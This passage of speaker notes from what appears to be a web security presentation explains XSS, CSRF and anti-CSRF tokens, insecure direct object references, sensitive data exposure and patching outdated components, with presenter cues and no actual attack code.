  25. (EXPLAIN CODE) This JS should create an alert popup window (SUBMIT)
  26. AUDIO STARTS NEXT SLIDE
  27. Ex 1: REDDIT NO 2ND EXAMPLE!!!!!!!
  28. Some data loss Pastebin, Gist, etc
  29. Safer, no data loss
  30. Laravel blade – also automatic, similar syntax
  31. OUTRO: Can also be done by using XSS
  32. [FAST]
  33. [CSRF TOKENS NEXT!!!]
  34. [Cross site request forgery] What if we… Would that be safe?
  35. NO! POST requests are vulnerable too. This is one of many common misconceptions some developers have. For example… #1 – yeah, but a form can make post requests #2 – no, JS can submit the form
  36. Hidden value, only shown on our website, that only us and the current page know OTHER SITES CANT SEE THIS VALUE, ONLY THE USER (due to browser’s same-origin policy) NOT SAVED TO COOKIE OR AVAILABLE OUTSIDE WEBSITE! (AFTER BULLETS) Remember, the attacker doesn’t have access to their session or the HTML you generated dynamically for the particular user.
  37. Hidden value, only shown on our website, that only us and the current page know OTHER SITES CANT SEE THIS VALUE, ONLY THE USER (due to browser’s same-origin policy) NOT SAVED TO COOKIE OR AVAILABLE OUTSIDE WEBSITE! (AFTER BULLETS) Remember, the attacker doesn’t have access to their session or the HTML you generated dynamically for the particular user.
  38. Let’s imagine Facebook is vulnerable to [READ TITLE] Just change the 9 to an 8…
  39. Even though Facebook never linked us here, we still got here And FB didn’t check again at _this_ point in time OUTRO: Fake example – FB doesn’t do this…
  40. Facebook does check whether you’re authorized to see the image OUTRO: Not just limited to URLs…
  41. If bank is vulnerable, and form is submitted, They won’t check the ID and allow the transfer to go through Bad!
  42. #2 – I like Symfony because it whitelists values in values in dropdowns (…) #3 – Good guideline, but not all-encompassing rule
  43. #3 – That means hiding the objects / IDs as the only measure of security What I mean is not disclosing information users shouldn’t see, or showing actions they can’t take
  44. Actually three different vuln Similar enough
  45. Is private data being exposed to the world?
  46. OUTRO: So that’s sensitive data exposure. In a similar vein we have…
  47. NO DROWN!
  48. You might be thinking OMG they explain the attack? Yes, but it’s a good thing! Problem is: your version is exposed, hackers may know you’re vulnerable
  49. #1 – If there’s a patch available, there’s also a hacker who can understand the original problem and create an exploit #2 – Otherwise software falls into decay and is extremely hard to upgrade when the next critical update rolls out
  50. END: But really, you should hide them
  51. Good advice in general for all security topics we’ve covered And that wraps up the last set of vulenerabilities we’re covering today
  52. Podcasts Slashdot Subreddits